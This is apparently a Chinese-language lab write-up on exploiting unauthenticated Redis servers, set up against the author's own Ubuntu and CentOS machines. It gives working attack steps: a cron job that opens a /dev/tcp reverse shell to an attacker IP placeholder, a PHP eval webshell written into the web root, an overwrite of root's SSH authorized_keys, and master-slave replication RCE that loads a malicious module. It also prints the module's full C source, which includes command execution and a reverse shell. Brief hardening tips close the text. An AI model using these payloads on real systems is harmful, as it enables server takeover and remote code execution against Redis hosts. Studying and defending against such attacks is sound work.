redis基础知识 redis是一个非常快速的、开源的、支持网络、可基于内存亦可持久化的日志型、非关系类型的.Key-Value数据库,并提供多种语言的API。它提供了Java,C/C++,C#,PHP,JavaScript,PerlObject-C,Python,Ruby,Erlang等客户端,使用很方便。
与MySQL数据库不同的是,Redis的数据是存在内存中的。它的读写速度非常快,每秒可以处理超过10万次读写操作。因此redis被广泛应用于缓存,另外,Redis也经常用来做分布式锁。除此之外,Redis支持事务、持久化、LUA 脚本、LRU 驱动事件、多种集群方案。
一些常用的命令 set xz "Hacker" # 设置键xz的值为字符串Hacker get xz # 获取键xz的内容 info # 获取服务器的各种信息和统计数据比如服务器当前的状态、统计信息、配置参数、客户端连接情况等,我们还可以获取特定信息,比如info memory只获取内存信息 SET score 857 # 设置键score的值为857 INCR score # 使用INCR命令将score的值增加1 GET score # 获取键score的内容 keys * # 列出当前数据库中所有的键 config set protected-mode no # 关闭安全模式 get anotherkey # 获取一个不存在的键的值 config set dir /root/redis # 设置保存目录 config set dbfilename redis.rdb # 设置保存文件名 config get dir # 查看保存目录 config get dbfilename # 查看保存文件名 save # 进行一次备份操作 flushall # 删除所有数据 del key # 删除键为key的数据 slaveof ip port # 设置主从关系 redis-cli -h ip -p 6379 -a passwd # 外部连接 flushdb # 清空当前数据库的所有 key module load /path/to/your/module.so # 用来加载自定义的模块文件,通常是so文件,/path/to/your/module.so 替换为你实际的模块文件路径 module list #列出已经加载的模块
不过module加载模块有些redis版本是不支持的
redis相关的数据库配置 redis数据库相关的配置可以在**/etc/redis/redis.conf**文件里面进行设置
port
格式为port后面接端口号,如port 6379,表示Redis服务器将在6379端口上进行监听来等待客户端的连接。
bind
格式为bind后面接IP地址,可以同时绑定在多个IP地址上,IP地址之间用空格分离,如bind 192.168.1.100 10.0.0.1,表允许192.168.1.100和10.0.0.1两个IP连接。如果设置为0.0.0.0则表示任意ip都可连接,就是白名单形式。
save
格式为save <秒数> <变化数>,表示在指定的秒数内数据库存在指定的改变数时自动进行备份(Redis是内存数据库,这里的备份就是指把内存中的数据备份到磁盘上)。可以同时指定多个save参数,如: save 900 1 save 300 10 save 60 10000 表示如果数据库的内容在60秒后产生了10000次改变,或者300秒后产生了10次改变,或者900秒后产生了1次改变,那么立即进行备份操作。
requirepass
格式为requirepass后接指定的密码,用于指定客户端在连接Redis服务器时所使用的密码。Redis默认的密码参数是空的,说明不需要密码即可连接;同时,配置文件有一条注释了的requirepass foobared命令,如果去掉注释,表示需要使用foobared密码才能连接Redis数据库。
默认不设置密码这也是未授权访问的重要原因
dir
格式为dir后接指定的路径,默认为dir ./,指明Redis的工作目录为当前目录,即redis-server文件所在的目录。注意,Redis产生的备份文件将放在这个目录下。
dbfilename
格式为dbfilename后接指定的文件名称,用于指定Redis备份文件的名字,默认为dbfilename dump.rdb,即备份文件的名字为dump.rdb。
config
通过config命令可以读取和设置dir参数以及dbfilename参数,后面很多攻击方式都会需要用到该命令,所以Redis在配置文件中提供了rename-command参数来对其进行重命名操作,如rename-command CONFIG HTCMD,可以将CONFIG命令重命名为HTCMD。配置文件默认是没有对CONFIG命令进行重命名操作的。
protected-mode
redis3.2之后添加了protected-mode安全模式,默认值为yes,开启后禁止外部连接,所以在测试时,先在配置中修改为no。
redis未授权访问漏洞 redis未授权访问漏洞是一个由于redis服务版本较低其未设置登录密码导致的漏洞,攻击者可直接利用redis服务器的ip地址和端口完成redis服务器的远程登录,对目标服务器完成后续的控制和利用。
漏洞成因
redis版本为4.x/5.0.5以前的版本
redis绑定在0.0.0.0:6379端口,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接博暴露在公网。
没有设置认证密码(一般为空),可以免密码远程登陆redis服务。
漏洞导致的危害
攻击者可以通过redis的命令来向目标服务器写入计划任务进行反弹shell
攻击者可以通过命令向网站目录写入webshell来进行控制网站服务器
最严重的情况,如果目标机器是以root身份登录的服务器并且开启了redis,黑客就可以直接利用该账号的权限写入SSH公钥文件,直接通过SSH登录受害者的服务器。
漏洞复现 漏洞环境搭建
这里我的受害机是ubuntu,攻击机是kali
1.直接安装redis sudo apt install redis 2.关闭一下防火墙 iptables -F 3.将bind的绑定地址设定为0.0.0.0可以使其暴露在公网上面 bind 0.0.0.0 4.重启一下redis服务 systemctl restart redis
然后直接漏洞利用即可
在攻击机上用redis-cli连接即可
redis-cli -h <受害机的IP> -p 6379
下面就是一些利用该漏洞所进行的进一步攻击操作
写入计划任务反弹shell 计划任务相关文件的粗放位置
/etc/crontab:这是系统范围的 cron 配置文件,其中包含了系统级别的计划任务的设置。 /etc/cron.d/:这个目录用于存放系统级别的 cron 任务配置文件。 /etc/cron.daily/:该目录包含了每日执行的计划任务。 /etc/cron.weekly/:这个目录用于存放每周执行的计划任务。 /etc/cron.monthly/:包含了每月执行的计划任务。 /var/spool/cron/ 或 /var/spool/cron/crontabs/:这个目录通常包含用户特定的 crontab 文件,用户可以在其中定义自己的计划任务。 用户家目录下的 .crontab 或 .cronjobs:用户可以在自己的家目录下创建名为 .crontab 或 .cronjobs 的文件,以定义自己的计划任务。
这里再了解一下计划任务的写入形式,当我们crontab -e写入计划任务的时候,会在计划任务的目录下创建一个以用户名命名的文件,所以我们等会redis写入文件时保存的文件名也要是以用户名命名的文件
写入计划任务
利用思路:
我们连接之后就要利用config修改文件的保存路径为计划任务的路径,然后写入计划任务(emmm写入失败了,说权限不够,可能是ubuntu用了普通用户启动redis,但是Ubuntu换root登录又要折腾,我这里直接换centos了)
==centos安装redis==
yum update #更新安装包 yum install epel-release # 安装 EPEL 软件库:Redis 软件包通常在 EPEL 软件库中 yum install redis sudo systemctl start redis #启动redis服务 sudo systemctl enable redis # 用于设置开机自启动,看需求选择
然后和上面一样修改配置文件,centos的redis配置文件的路径为/etc/redis.conf
然后再关一下防火墙
iptables -F setenforce 0 # 改变SELinux的工作模式,SELinux是一种在 Linux 操作系统上实现强制访问控制(MAC)的安全机制; systemctl stop firewalld.service #centos中特有的防火墙
SELinux有三种工作模式:
Enforcing Mode(强制模式):在这个模式下,SELinux会强制执行所有定义的安全策略,如果有违反策略的操作发生,会被阻止并记录到日志中。在强制模式下,SELinux会严格限制系统资源的访问。表示为1
Permissive Mode(宽容模式):在这个模式下,SELinux会记录违反安全策略的操作,但不会阻止它们,这样可以帮助管理员了解哪些操作可能会违反策略。这个模式类似于监控模式。表示为0
Disabled Mode(禁用模式):在这个模式下,SELinux完全被禁用,系统不会应用任何SELinux的安全策略。要设置关闭的话就需要修改”/etc/sysconfig/selinux”配置文件
可以使用getenforce查看当前工作模式
又写不进去还是会报下面的错我就奇怪了
去搜了搜发现即使为root身份,redis他自己也不是以root身份登录的,要从配置文件启动才能以root身份登录,坑死了,所以要先systemctl stop redis来停掉redis服务,要我们来自己启动
/usr/bin/redis-server /etc/redis.conf //直接redis-server启动会开启保护模式也改不了目录
然后终于可以愉快地写计划任务了
config set dir /var/spool/cron #这个要看具体系统的目录 config set dbfilename root set xxoo "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/<攻击者ip>/<监听端口> 0>&1\n\n" #这里的换行是为了保证格式正确,如果目标机器上有很多的计划任务可能会导致写入的反弹sehll格式错误。 save #进行一次备份来写入文件当中
然后nc -lvvp 6666 开启监听等待即可
反弹shell成功,可以看一下我们写进去的计划任务长什么样
这个方法只能Centos
上使用,Ubuntu上
行不通,原因如下:
因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/<username>
权限必须是600也就是-rw-------
才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected)
,而Centos的定时任务文件/var/spool/cron/<username>
权限644也能执行
因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错
写入webshell控制服务器
这里我们先用centos快速搭建一个LAMP的环境用于解析我们上传的php一句话木马
# 安装apache服务器 sudo yum install httpd sudo systemctl start httpd sudo systemctl enable httpd# 安装mysql数据库 sudo yum install mysql mysql-server sudo systemctl start mysqld sudo systemctl enable mysqld sudo mysql_secure_installation # MySQL 提供的实用工具,用于执行一些安全设置和配置以加固 MySQL 数据库的安全性# 安装php sudo yum install php php-mysql
开始写入我们的webshell
config set dir /var/www/html config set dbfilename shell.php set shell "<?php eval($_POST[shell])?>" save
然后我们去访问一下shell.php
上面的内容是我们上次设置的定时任务数据,一起save了进去,接下来用蚁剑去连接一下
连接成功可以看到目录下的文件
写入ssh-keygen公钥登录服务器漏洞 SSH提供两种登录验证方式,一种是口令验证也就是账号密码登录,另一种是密钥验证。
密钥验证就是一种基于公钥密码的认证,使用公钥加密、私钥解密,其中公钥是可以公开的,放在服务器端,你可以把同一个公钥放在所有你想SSH远程登录的服务器中,而私钥是保密的只有你自己知道,公钥加密的消息只有私钥才能解密,大体过程如下:
客户端生成私钥和公钥,将公钥拷贝给服务器端
客户端发起登录请求
服务器端根据客户端发来的信息查找是否存有该客户端的公钥,
客户端收到服务器发来的加密后的消息后使用私钥解密,并把解密后的结果发给服务器用于验证
服务器收到客户端发来的解密结果,与自己刚才生成的随机数比对
攻击者本地生成密钥对
ssh-keygen -t rsa # 在家目录的.ssh下进行生成
向受害者机器写入公钥
config set dir /root/.ssh config set dbfilename authorized_keys set x "\n\n\n<生成的公钥>\n\n\n" #换行是为了避免和其他数据混合保证格式正确,和上面的计划任务一样 save
然后使用ssh登录目标机器,在.ssh目录下用私钥登录
ssh -i id_rsa root@<目标机器ip>
成功登录!
主从复制RCE 主从复制介绍
主从复制的传输分为全量传输和增量传输,这里的重点是全量传输:全量传输是将数据库备份文件整个传输过去,然后从节点清空内存数据库,将备份文件加载到数据库中。
这里从别人的文章偷个流程图方便理解:
漏洞原理
漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。在redis4.x之后,通过外部拓展可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出,so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNG同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。
因为redis可以加载外部模块,而外部模块都是so文件的形式,可以使用编辑redis配置文件的方式来加载模块,文件里面也给了我们示例
漏洞利用
漏洞利用我们需要用到下面的两个工具
使用第一个工具远程主从复制RCE python3 redis-rogue-server.py --rhost --rport --lhost --lport
参数说明:
-–rpasswd 如果目标 Redis 服务开启了认证功能,可以通过该选项指定密码(没尝试过不知道行不行) -–rhost 目标 redis 服务 IP -–rport 目标 redis 服务端口,默认为 6379 -–lhost vps 的 IP 地址 -–lport vps 的端口,默认为 21000
可以看到已经成功访问,我们可以用i选择一个交互式shell或者r反弹一个shell(这时候要再开启一个监听端口)
emmm这个交互式的shell好像有点拉,接下来换反弹shell试试,发现弹不了失败了,感觉是我本地安装的redis版本过高了,这个脚本的使用版本是<=5.0.5,然后取volfocus开了一个5.0版本的环境就成功了
可以看到成功反弹了一个shell回来,这是后我们还可以用python来生成一个交互式的shell
python -c 'import pty;pty.spawn("/bin/bash")'
不过开的这个容器没有python生成不了(
本地Redis主从复制RCE反弹shell 漏洞原理: 对于只允许本地连接的Redis服务器,可以通过开启主从模式从远程主机上同步恶意.so文件至本地,接着载入恶意.so文件模块,反弹shell至远程主机。
步骤可以总结如下:
第一步,我们伪装成redis数据库,然后受害者将我们的数据库设置为主节点。
第二步,我们设置备份文件名为so文件
第三步,设置传输方式为全量传输
第四步,加载恶意so文件,实现任意命令执行
我们需要将redis-rogue-server的exp.so复制到Awsome-Redis-Rogue-Server的目录下进行使用,因为他的exp.so是带system模块的
攻击机先执行下面的命令伪造一个master
python3 redis_rogue_server.py -v -path exp.so
我们连接上受害者机器之后执行下面的命令修改一下文件
config set dir /tmp #一般/tmp目录都有权限写入,所以选择这个目录写入 config set dbfilename exp.so #设置导出文件名 slaveof <我们伪造的主机master的ip> <端口号> #进行主从同步,将恶意so文件写入到tmp目录 module load ./exp.so #加载写入的恶意so文件模块 module list #查看恶意so有没有加载成功,主要看有没有system模块 system.rev <攻击者ip> <监听端口> #这样就可以反弹一个shell回来了
可以先看一下我们同步之前是没有模块的
我们同步之后再看一下
最后监听端口进行反弹shell
可以看到我们的当前目录就是在/tmp下
了解一下外部模块原理 大概说一下模块编写的实现流程:
首先需要的是初始化,以便让框架可以找到对应的方法,这就需要进行注册,Redis通过RedisModule_Init方法进行注册模块,和RedisModule_CreateCommand注册自定义方法。
Redis导出了redismodule.h头文件,通过实现该头文件相关API函数,然后编译为so动态库即可,可以在配置文件中使用loadmodule指明,也可以在运行时使用命令动态加载(MODULE LOAD)。
我们可以看一下上面给我们的工具里的exp.so,他就是由一个exp.c编译而来,我们来看看里面的内容
#include "redismodule.h" #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <errno.h> #include <sys/wait.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> int DoCommand (RedisModuleCtx *ctx, RedisModuleString **argv, int argc) { if (argc == 2 ) { size_t cmd_len; size_t size = 1024 ; char *cmd = RedisModule_StringPtrLen(argv[1 ], &cmd_len); FILE *fp = popen(cmd, "r" ); char *buf, *output; buf = (char *)malloc (size); output = (char *)malloc (size); while ( fgets(buf, sizeof (buf), fp) != 0 ) { if (strlen (buf) + strlen (output) >= size) { output = realloc (output, size<<2 ); size <<= 1 ; } strcat (output, buf); } RedisModuleString *ret = RedisModule_CreateString(ctx, output, strlen (output)); RedisModule_ReplyWithString(ctx, ret); pclose(fp); } else { return RedisModule_WrongArity(ctx); } return REDISMODULE_OK; }int RevShellCommand (RedisModuleCtx *ctx, RedisModuleString **argv, int argc) { if (argc == 3 ) { size_t cmd_len; char *ip = RedisModule_StringPtrLen(argv[1 ], &cmd_len); char *port_s = RedisModule_StringPtrLen(argv[2 ], &cmd_len); int port = atoi(port_s); int s; struct sockaddr_in sa ; sa.sin_family = AF_INET; sa.sin_addr.s_addr = inet_addr(ip); sa.sin_port = htons(port); s = socket(AF_INET, SOCK_STREAM, 0 ); connect(s, (struct sockaddr *)&sa, sizeof (sa)); dup2(s, 0 ); dup2(s, 1 ); dup2(s, 2 ); execve("/bin/sh" , 0 , 0 ); } else { return RedisModule_WrongArity(ctx); } return REDISMODULE_OK; }int RedisModule_OnLoad (RedisModuleCtx *ctx, RedisModuleString **argv, int argc) { if (RedisModule_Init(ctx,"system" ,1 ,REDISMODULE_APIVER_1) == REDISMODULE_ERR) return REDISMODULE_ERR; if (RedisModule_CreateCommand(ctx, "system.exec" , DoCommand, "readonly" , 1 , 1 , 1 ) == REDISMODULE_ERR) return REDISMODULE_ERR; if (RedisModule_CreateCommand(ctx, "system.rev" , RevShellCommand, "readonly" , 1 , 1 , 1 ) == REDISMODULE_ERR) return REDISMODULE_ERR; return REDISMODULE_OK; }
**#include “redismodule.h”**这里就是引入了这个头文件然后实现了其中的API来定义自定义的模块,这个头文件可以从官方仓库源码中找到,里面的内容就不看了,主要来看每个模块是怎么编写的
上面有三个函数RedisModule_OnLoad,RevShellCommand,DoCommand
RevShellCommand:该函数是 system.rev
命令的实现。当传入的参数个数为3时,它会获取第二个参数作为IP地址,第三个参数作为端口号。然后,它创建一个套接字,并连接到指定的IP地址和端口。接下来,它将标准输入、输出和错误重定向到套接字,并执行 /bin/sh
,从而创建一个反向 shell。
DoCommand:该函数是 system.exec
命令的实现。当传入的参数个数为2时,它会获取第二个参数作为命令字符串,并使用 popen
函数执行该命令,获取命令的输出。然后,它将命令的输出作为字符串回复给客户端。
RedisModule_OnLoad:该函数是模块加载函数。在这个函数中,模块进行了初始化,并创建了两个命令:system.exec
和 system.rev
。这些命令分别与对应的处理函数 DoCommand
和 RevShellCommand
关联起来。这样,当客户端在Redis中执行这些命令时,相应的处理函数将被调用。
RedisModule_Init:该函数用于创建一个新的Redis命令,以创建system.exec为例,它接受七个参数:ctx
是Redis模块上下文指针,”system.exec” 是命令的名称,DoCommand
是处理该命令的函数指针,”readonly” 是命令的标识符,1 是命令的键和参数的个数,1 是命令的名字和参数的个数,1 是命令的复杂度。如果命令创建失败,函数将返回 REDISMODULE_ERR
。
安全防护 redis的安全设置:设置完毕,需要重新加载配置文件启动redis。
绑定内网ip
requirepass设置redis密码
开启保护模式(protected-mode)
最好更改一下默认端口
单独为redis设置一个普通账号,启动redis